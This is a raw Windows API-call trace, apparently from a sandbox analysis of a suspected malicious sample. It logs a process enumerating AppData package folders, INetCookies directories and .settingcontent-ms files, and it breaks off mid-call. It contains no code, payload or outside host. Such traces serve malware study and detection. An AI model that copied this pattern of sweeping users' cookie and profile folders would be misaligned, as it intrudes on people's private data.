SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.544] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft", lpFilePart=0x0) returned 0x61 [0216.544] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6da0d9db, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6da0d9db, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.545] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft", lpFilePart=0x0) returned 0x61 [0216.545] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6da0d9db, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6da0d9db, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.546] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x73 [0216.546] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6fa3d60b, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6fa3d60b, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.547] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x73 [0216.547] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6fa3d60b, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6fa3d60b, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6fa3d60b, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0da9d0) returned 1 [0216.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da900) returned 1 [0216.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0da8c0) returned 1 [0216.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0216.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0216.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0216.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0216.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0216.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0216.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0216.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0218.050] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9e55b288, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x9e55b288, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x9e55b288, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.062] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e49c81d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x9e49c81d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x9e49c81d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.353] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6bba7d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xef6bba7d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsGroupNotificationsAppList.settingcontent-ms", cAlternateFileName="AAC25D~1.SET")) returned 1 [0218.366] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe61a652, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xe61a652, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SettingsPagePrivacyCallHistory.settingcontent-ms", cAlternateFileName="AA415E~1.SET")) returned 1 [0218.372] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd98e121, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfd98e121, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms", cAlternateFileName="AAED09~1.SET")) returned 1 [0218.384] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x260a8ee1, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x260a8ee1, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsShiftLockEnabled.settingcontent-ms", cAlternateFileName="AA8C87~1.SET")) returned 1 [0218.388] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377647e3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x377647e3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Proxy_ManualProxyAddress.settingcontent-ms", cAlternateFileName="AA8AB0~1.SET")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c993fab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3c993fab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x52b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncAccessibility_Toggle.settingcontent-ms", cAlternateFileName="AA7784~1.SET")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc68e94, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3cc68e94, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x535, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncBrowserSettings_Toggle.settingcontent-ms", cAlternateFileName="AAB020~1.SET")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d469ca0, 